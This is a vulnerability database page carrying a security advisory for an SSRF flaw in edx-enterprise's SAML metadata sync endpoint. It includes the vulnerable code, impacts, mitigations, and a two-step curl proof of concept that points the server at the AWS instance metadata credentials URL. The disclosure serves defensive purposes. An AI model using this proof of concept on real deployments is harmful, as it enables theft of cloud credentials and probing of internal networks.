GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-64CV-VXPR-J6VC

Vulnerability from github – Published: 2026-05-05 17:51 – Updated: 2026-06-06 00:27
VLAI
Summary
edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint
Details

Summary

The sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout.

This vulnerability was introduced when the SAML admin viewsets were migrated from openedx-platform into edx-enterprise. A related fix for the equivalent fetch path in openedx-platform (the fetch_saml_metadata Celery task) was applied in GHSA-328g-7h4g-r2m9.

Details

Vulnerable code path:

enterprise/api/v1/views/saml_utils.py:

def fetch_metadata_xml(url):
    log.info("Fetching %s", url)
    if not url.lower().startswith('https'):
        log.warning("This SAML metadata URL is not secure! (%s)", url)
    response = requests.get(url, verify=True)  # No IP/scheme validation
    response.raise_for_status()

enterprise/api/v1/views/saml_provider_data.py:

@action(detail=False, methods=['post'], url_path='sync_provider_data')
def sync_provider_data(self, request):
    ...
    metadata_url = saml_provider.metadata_source  # set via SAMLProviderConfig PATCH
    xml = fetch_metadata_xml(metadata_url)        # triggers the fetch

Missing protections: - No HTTPS enforcement (HTTP is allowed; the warning is not enforced) - No blocking of loopback (127.0.0.0/8) or link-local (169.254.0.0/16) ranges - No blocking of RFC 1918 private ranges - No request timeout

Proof of Concept

Prerequisites: Authenticated user with Enterprise Admin role for any enterprise customer with a configured SAML Identity Provider.

Step 1: Set a malicious metadata URL via the provider config endpoint:

curl -X PATCH 'https://<instance>/auth/saml/v0/provider_config/<pk>/' \
  -H 'Authorization: Bearer <JWT>' \
  -H 'Content-Type: application/json' \
  -d '{"metadata_source": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Step 2: Trigger the server-side fetch:

curl -X POST 'https://<instance>/auth/saml/v0/provider_data/sync_provider_data' \
  -H 'Authorization: Bearer <JWT>' \
  -H 'Content-Type: application/json' \
  -d '{"enterprise_customer_uuid": "<uuid>"}'

The server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.

Impact

An Enterprise Admin can use this SSRF to:

  • Steal cloud credentials: Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.
  • Scan internal networks: Probe internal hosts, ports, and services behind the deployment's firewall.
  • Access internal APIs: Reach databases, admin panels, or microservices not exposed to the internet.

Enterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.

Patches / Mitigations

Call validate_saml_metadata_url() (importable from common.djangoapps.third_party_auth.utils as of the openedx-platform fix in GHSA-328g-7h4g-r2m9) in fetch_metadata_xml() before calling requests.get(). A request timeout should also be added.

Operators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to 169.254.0.0/16 and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "edx-enterprise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.2"
            },
            {
              "fixed": "7.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42860"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T17:51:50Z",
    "nvd_published_at": "2026-05-11T18:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `sync_provider_data` endpoint in `SAMLProviderDataViewSet` fetches SAML metadata from a URL stored in `SAMLProviderConfig.metadata_source`. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the `SAMLProviderConfigViewSet` PATCH endpoint, then trigger a server-side HTTP request by calling `sync_provider_data`. The fetch in `fetch_metadata_xml()` passes the URL directly to `requests.get()` with no scheme enforcement, IP filtering, or timeout.\n\nThis vulnerability was introduced when the SAML admin viewsets were migrated from `openedx-platform` into `edx-enterprise`. A related fix for the equivalent fetch path in `openedx-platform` (the `fetch_saml_metadata` Celery task) was applied in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9).\n\n## Details\n\n**Vulnerable code path:**\n\n`enterprise/api/v1/views/saml_utils.py`:\n```python\ndef fetch_metadata_xml(url):\n    log.info(\"Fetching %s\", url)\n    if not url.lower().startswith(\u0027https\u0027):\n        log.warning(\"This SAML metadata URL is not secure! (%s)\", url)\n    response = requests.get(url, verify=True)  # No IP/scheme validation\n    response.raise_for_status()\n```\n\n`enterprise/api/v1/views/saml_provider_data.py`:\n```python\n@action(detail=False, methods=[\u0027post\u0027], url_path=\u0027sync_provider_data\u0027)\ndef sync_provider_data(self, request):\n    ...\n    metadata_url = saml_provider.metadata_source  # set via SAMLProviderConfig PATCH\n    xml = fetch_metadata_xml(metadata_url)        # triggers the fetch\n```\n\n**Missing protections:**\n- No HTTPS enforcement (HTTP is allowed; the warning is not enforced)\n- No blocking of loopback (`127.0.0.0/8`) or link-local (`169.254.0.0/16`) ranges\n- No blocking of RFC 1918 private ranges\n- No request timeout\n\n## Proof of Concept\n\n**Prerequisites:** Authenticated user with `Enterprise Admin` role for any enterprise customer with a configured SAML Identity Provider.\n\n**Step 1:** Set a malicious metadata URL via the provider config endpoint:\n```bash\ncurl -X PATCH \u0027https://\u003cinstance\u003e/auth/saml/v0/provider_config/\u003cpk\u003e/\u0027 \\\n  -H \u0027Authorization: Bearer \u003cJWT\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"metadata_source\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}\u0027\n```\n\n**Step 2:** Trigger the server-side fetch:\n```bash\ncurl -X POST \u0027https://\u003cinstance\u003e/auth/saml/v0/provider_data/sync_provider_data\u0027 \\\n  -H \u0027Authorization: Bearer \u003cJWT\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"enterprise_customer_uuid\": \"\u003cuuid\u003e\"}\u0027\n```\n\nThe server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.\n\n## Impact\n\nAn Enterprise Admin can use this SSRF to:\n\n- **Steal cloud credentials:** Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.\n- **Scan internal networks:** Probe internal hosts, ports, and services behind the deployment\u0027s firewall.\n- **Access internal APIs:** Reach databases, admin panels, or microservices not exposed to the internet.\n\nEnterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.\n\n## Patches / Mitigations\n\nCall `validate_saml_metadata_url()` (importable from `common.djangoapps.third_party_auth.utils` as of the openedx-platform fix in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9)) in `fetch_metadata_xml()` before calling `requests.get()`. A request timeout should also be added.\n\nOperators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to `169.254.0.0/16` and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.",
  "id": "GHSA-64cv-vxpr-j6vc",
  "modified": "2026-06-06T00:27:25Z",
  "published": "2026-05-05T17:51:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openedx/edx-enterprise/security/advisories/GHSA-64cv-vxpr-j6vc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42860"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openedx/edx-enterprise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/edx-enterprise/PYSEC-2026-58.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…